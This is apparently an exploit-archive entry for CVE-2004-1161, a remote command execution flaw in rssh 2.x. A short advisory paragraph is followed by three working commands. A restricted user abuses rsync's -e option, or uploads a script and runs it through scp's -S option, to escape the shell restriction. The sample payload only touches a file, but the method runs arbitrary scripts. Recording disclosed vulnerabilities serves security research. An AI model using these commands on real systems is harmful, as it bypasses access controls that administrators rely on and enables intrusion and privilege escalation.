RSSH 2.x - Arbitrary Command Execution

Author: Jason Wies
type: remote
platform: linux
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date_added: 2004-12-02 
date_updated: 2013-03-15 
verified: 1 
codes: CVE-2004-1161;OSVDB-12182 
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source: https://www.securityfocus.com/bid/11792/info

rssh is reported prone to a remote arbitrary command execution vulnerability. This issue may allow a remote attacker to execute commands and scripts on a vulnerable computer and eventually allow an attacker to gain elevated privileges on a vulnerable computer.

All versions of rssh are considered vulnerable at the moment.

ssh restricteduser@remotehost 'rsync -e "touch /tmp/example --" localhost:/dev/null /tmp'

scp command.sh restricteduser@remotehost:/tmp/command.sh

ssh restricteduser@remotehost 'scp -S /tmp/command.sh localhost:/dev/null /tmp'